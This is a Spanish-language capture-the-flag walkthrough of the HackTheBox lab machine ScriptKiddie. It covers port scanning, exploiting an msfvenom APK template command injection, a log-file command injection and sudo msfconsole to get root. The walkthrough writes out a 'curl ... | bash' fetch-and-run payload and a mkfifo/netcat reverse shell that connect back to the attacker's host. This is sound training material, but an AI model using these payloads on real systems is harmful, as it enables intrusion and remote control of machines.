ScriptKiddie - HackTheBox

elc4br4elc4br4
6 min read

Máquina Linux bastante sencilla, tendremos que ganar acceso a través de un exploit que genera una apk maliciosa que podremos introducir y ejecutar en el servidor web, tendremos que realizar una escalada lateral aprovechándonos de un fallo en un srcipt a través del cual podremos inyectar comandos y finalizaremos con una escalada vertical al usuario root a través de la utilidad msfconsole.

HTBadge


Reconocimiento

Reconocimiento de Puertos🔍

Como siempre comenzamos lanzando nmap para encontrar los puertos abiertos en la máquina.

PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Realizo un escaneo más avanzado para obtener más información acerca de los servicios que corren en los puertos abiertos.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PuertoServicioVersión
5000httpWerkzeug httpd 0.16.1
22sshOpenSSH 8.2p1

Servidor web en el puerto 5000 (Werkzeug httpd 0.16.1)


Enumeración Web 🔢

Al acceder al servidor web encontramos lo siguiente:

Parece que tenemos las herramientas nmap, msfvenom y searchsploit.

Voy probando a cada herramienta, el nmap funciona si pongo una ip, es decir me escanea los puertos...

En la herramienta msfvenom me genera un archivo malicioso y me lo descarga…

Pero me deja subir un template, algo bastante curioso.

En la herramienta searchsploit más de lo mismo, funciona correctamente pero no veo nada que pueda hacer para avanzar.

Así que voy a aprovechar que tenemos searchsploit para buscar vulnerabilidades del servidor web, que sabemos que es Werkzeug httpd 0.16.1.

Con searchsploit busco alguna vulnerabilidad pero nada.

Así que solo se me ocurre buscar alguna vulnerabilidad de las herramientas que tenemos en el servidor, descartando searchsploit pruebo con msfvenom.

Y ojo porque tenemos una vulnerabilidad.

Metasploit Framework 6.0.11 - msfvenom APK template command injection


Explotación

Metasploit👿

Me descargo el exploit y lo abro para analizar el código

Si nos fijamos en la línea de la carga util (payload) nos dice 'Change me' de forma que podemos insertar el comando que queramos, ya que la vulnerabilidad es Command Injection.

Procedo a crear un archivo con una reverse shell en bash.

Una vez creado lanzo un servidor de python python3 -m http.server 8080

Edito el campo payload del exploit añadiendo lo siguiente
curl http://10.10.14.7:8080/rev.sh | bash

A continuación lanzamos el exploit para que nos genere un archivo malicioso apk con el payload indicado.

Una vez generado debemos subir el archivo apk a la web desde el apartado template y se hará la magia.

Una vez dentro actualizamos la tty para tener una shell completa en tamaño y funciones.

# Actualización TTY

kid@scriptkiddie:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null

---------------------------------------------------

kid@scriptkiddie:~/html$ ^Z
zsh: suspended  sudo nc -lnvp 443

---------------------------------------------------

❯ stty raw -echo; fg
[1]  + continued  sudo nc -lnvp 443
                                   reset
reset: unknown terminal type unknown
Terminal type? xterm

---------------------------------------------------

# Exportamos las Variables de Entorno

kid@scriptkiddie:~/html$ export TERM=xterm
kid@scriptkiddie:~/html$ export SHELL=bash

Ahora ya podemos leer la flag user.

Continuo enumerando ya que estoy autenticado como el usuario kid pero también tenemos al usuario pwn.

Por lo tanto debemos migranos a este usuario.


Escalada de Privilegios

Usuario pwn😎

Enumerando un poco encuentro en la carpeta del usuario pwn un script llamado scanlosers.sh

Si miramos el contenido del script…

Para poder entender que hace el script debemos irnos antes al archivo app.py

#En ese fragmento del archivo `app.py` podemos ver que se guarda un TimeStamp y una dirección IP.
-------------------------------------------------------------------------------------------------
[{datetime.datetime.now()}] {scrip}

Por lo tanto el script del usuario pwn (`scanlosers.sh`) lo que hace es leer el archivo /home/kid/logs/hackers y lo guarda en la variable $log pero rápidamente borra el contenido, ya que en el script scanlosers.sh la última línea es echo -n > $log

De forma que leyendo un poco el script sabemos que la data se almacena en el archivo de la siguiente forma:

[FECHA Y HORA] IP

El script saca el contenido del archivo cogiendo la IP y realizando un escaneo nmap de los 10 top ports.

Para probar y entenderlo genero un simple ejemplo creando mi propio archivo hackers.

# Archivo Hackers
Hola esto es una Prueba
````

En el script se ejecuta un  `cut -d' ' -f3-` | sort -u 

Asique voy a ir desglosando el comando para lograr entenderlo, probando con mi archivo hackers.

Cut lo que hace es cortar el archivo en partes.

| Parámetro | Descripción| 
| :-------- | :------- | 
| -d ' '    | Delimitador que en este caso es el espacio ' '|        
| -f3       | Selecciona solamente el campo asigando, en este caso 3|   

De forma que si lo probamos...

```bash
> cat hackers | cut -d' ' -f3
es

#Nos está sacando el campo número 3 de la frase: Hola esto ES una prueba

Pero en el script tenemos cut -d' ' -f3- es decir hay un guión detrás del 3.

Si probamos con nuestro ejemplo...

> cat hackers | cut -d' ' -f3-
es una prueba

# Al añadir el guión detras del campo 3 nos saca del campo 3 en adelante

Por lo tanto ahí podríamos aprovechar e intentar inyectar comandos de la siguiente forma.

Tengamos en cuenta que además de eso el archivo hackers cuando le metemos data rápidamente se elimina por el echo -n > $log

Así que voy a crear un pequeño script en bash para que cada vez que lo ejecute se meta la data que yo tengo en mi script en el archivo hackers.

# Script para la Inyección de Comandos, intentaremos obtener una rev shell 
--------------------------------------------------------------------------
#!/bin/bash

while true; do
    echo "1 2 ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f #" > /home/kid/logs/hackers 
done

El script cogerá del 3 en adelante.

Abrimos un oyente de netcat en elpuerto 4444, asignmos permisos y lo ejecutamos.

Y tenemos conexión en el oyente netcat como el usuario

Y ya nos hemos convertido en el usuario pwn.

Para tener la shell un poco más funcional lanzo el comando:

python3 -c ´import pty;pty.spawn("/bin/bash")´

A continuación toca escalar privilegios al usuario root.


Usuario root😎

Para proceder a escalar privilegios, como siempre enumeramos posibles vectores de escalada.

Como de costumbre comienzo lanzando sudo -l

Al lanzar sudo -l puedo ver que puedo ejecutar como root sin contraseña msfconsole.

Ejecuto la utilidad msfconsole como root.

Somos root y podemos leer la flag root.

0
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student